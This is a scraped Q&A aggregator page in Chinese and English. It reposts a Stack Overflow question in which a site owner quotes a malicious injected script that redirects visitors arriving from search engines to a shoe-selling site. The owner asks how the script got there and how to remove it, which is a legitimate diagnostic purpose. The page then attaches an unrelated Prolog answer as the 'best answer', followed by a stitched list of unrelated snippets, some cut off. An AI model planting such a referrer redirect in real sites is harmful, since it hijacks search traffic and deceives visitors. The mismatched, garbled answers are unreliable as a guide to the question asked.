网站正在重定向与文档引用,它破坏了搜索引擎的结果(Website is being redirected with document referrer and it's ruining search engine results)
如果你搜索谷歌的“纽约州海滩清理”,你会看到第一个结果是网站http://najomawi.com ,但标题看起来不适合这样的网站。 您还会注意到,如果您点击此链接,它会转到您的Nike鞋子网站。 只有在您使用Google结果链接时才会发生这种情况(我相信它会发生在Bing,Yahoo等)。 如果您将http://najomawi.com直接放入浏览器栏,它会将您带到正确的站点。 困惑,我检查了页面源代码(都有'查看页面源'和Chrome的检查器),发现这个......
<script> var s=document.referrer; if(s.indexOf("google")>0 || s.indexOf("bing")>0 || s.indexOf("aol")>0 || s.indexOf("yahoo")>0) { self.location='http://www.theredkicks.com'; } </script>
我不知道这是怎么到达那里的。 它出现在主页的head标签中,即index.html。 没有PHP代码,没有其他JS,除了我知道的CSS样式表之外别无他法。 整个网站几乎都是静态的HTML和CSS表。 那么这是怎么做到的? 我怎么能摆脱它呢?
If you search on Google 'new york state beach cleanup', you'll see that the first result is for the website http://najomawi.com, but the title doesn't look quite right for such a site. You'll also notice that if you click this link it instead takes you to a website for Nike shoes. It only happens if you use the Google results link though (and I believe it happens in Bing, Yahoo and others). If you put http://najomawi.com directly into your browser bar, it takes you to the correct site. Confused, I checked the page source code (both with 'View Page Source' and Chrome's inspector) and found this...
<script> var s=document.referrer; if(s.indexOf("google")>0 || s.indexOf("bing")>0 || s.indexOf("aol")>0 || s.indexOf("yahoo")>0) { self.location='http://www.theredkicks.com'; } </script>
I have no idea how this got there. It appears in the the head tags of the home page, which is index.html. There is no PHP code, no other JS, nothing other than CSS stylesheets that I am aware of. The entire site is pretty much static HTML and CSS sheets. So how did this get there? And how can I get rid of it?
原文:https://stackoverflow.com/questions/21034155
最满意答案
在Prolog中N是N + 1总是假的,Prolog不是C,你必须写N1是N + 1,因为当N与一个值统一时,它不能被改变,所以N永远不等于N + 1 。 你的代码必须这样编写,必须在N的微积分之前调用递归。
find(_R1, _R2, [], [],0). find(R1, R2, [[Mark, CName] | T], L,N):- find(R1, R2, T, L1,N1), ( (R1 =< Mark, Mark =< R2) -> L = [CName | L1],N is N1+1 ; L = L1, N = N1).
[编辑]在你的帖子中,当你调用N是N + 1时N没有值,因为N在返回find(R1,R2,T,L1,N)之后得到一个值。
N is N+1 is always false in Prolog , Prolog is not C, you MUST write N1 is N+1, because when N is unified with a value, it can't be changed, so N is never equal to N+1. Your code must be written like that, the recursion must be called before the calculus of N.
find(_R1, _R2, [], [],0). find(R1, R2, [[Mark, CName] | T], L,N):- find(R1, R2, T, L1,N1), ( (R1 =< Mark, Mark =< R2) -> L = [CName | L1],N is N1+1 ; L = L1, N = N1).
[EDIT] In your post, N has no value when you call N is N+1, because N gets a value after the return of the call of find(R1, R2, T, L1,N).
相关问答
更多-
所有这些应该工作: sapply(sc, `%in%`, x = 8) sapply(sc, is.element, el = 8) mapply(`%in%`, 8, sc) mapply(is.element, 8, sc) 这些都返回相同的TRUE或FALSE向量:每个列表元素是否包含8 。 如果你想要的是这样的索引( k ),其中找到8 ,只需用它包裹它,例如: which(sapply(sc, `%in%`, x = 8)) All of these should work: sapply(s ...
-
试试这个简单的程序,告诉我它是否解决了你的问题: #lang racket (define (apnd a b) (flatten (cons a b)) ) #test (apnd 1 2) (apnd (list 1 2) (list 3 4)) (apnd '() 1) (apnd 1 '()) (apnd '() '()) (apnd (list 1 2) 3) (apnd 1 (list 2 3)) 参考文献: 变平 Try this simple program and tell m ...
-
您必须在maze遍历每个列表并检查是否存在0。 if not any(0 in i for i in maze): ... any()函数的好处在于一旦找到0,它就会停止循环maze 。 You'll have to loop through each list in maze and check whether there is a 0 or not: if not any(0 in i for i in maze): ... The great thing about the any ...
-
检查列表中的编号项目(Check Number Items on List)[2022-12-06]
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click If ListBox1.Items.Count = 30 Then MsgBox("HEY") End If End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As ... -
在Prolog中N是N + 1总是假的,Prolog不是C,你必须写N1是N + 1,因为当N与一个值统一时,它不能被改变,所以N永远不等于N + 1 。 你的代码必须这样编写,必须在N的微积分之前调用递归。 find(_R1, _R2, [], [],0). find(R1, R2, [[Mark, CName] | T], L,N):- find(R1, R2, T, L1,N1), ( (R1 =< Mark, Mark =< R2) -> L = [CName | L1],N is ...
-
boolean hasFlush = Arrays.stream(new int[] {'S', 'D', 'H', 'C'}) .anyMatch(suit -> cards.stream() .filter(x -> x.getSuit() == suit) .count() == 5); boolean hasFlush = Ar ...
-
这是因为count([1,1,1,1],1,1)也是如此! 在你的最后一次count ,当H等于E时,它也可以匹配。为了说明这一点,请使用; 使prolog寻找更多的答案count([1,1,1,1],1,R) 。 你会看到会发生什么。 count([],_,0). count([E|T],E,C):- count(T,E,C1), C is C1+1. count([H|T],E,C):- H \= E, count(T,E,C). check(L) :- co ...
-
你差不多完成了 check_only_one_ingredient :- \+ ( food(F1, L1), food(F2, L2), F1 \= F2, member(X, L1), member(X, L2) ). You've almost done check_only_one_ingredient :- \+ ( food(F1, L1), food(F2, L2), F1 \= F2, memb ...
-
找到Jenkins BUILD_NUMBER是一个SIGNED Integer数据类型,INT签名限制是: int 2 or 4 bytes -32,768 to 32,767 or -2,147,483,648 to 2,147,483,647 因此,可以设置或构建Jenkins作业的最后一个值是: 2147483647 (此处为4个字节)。 设置高于此数字的任何内容都将生成预期的INT限制错误。 使用SET NEXT BUILD NUMBER插件注意到以下问题: 如果我将下一个内部版本号设置在- ...
-
我想计算通用列表中特定组的出现次数[重复](I want to count number of occurance of specific group in Generic List [duplicate])[2022-06-08]
使用linq group by然后在select项目中使用第二种类型: from item in lstEmployee group item by item.FirstName into grouping select new CountEmployeeName { FirstName = grouping.Key, CountFirstName = grouping.Count() } 在方法语法中,它将如下所示: lstEmployee.GroupBy(item => item.Fi ...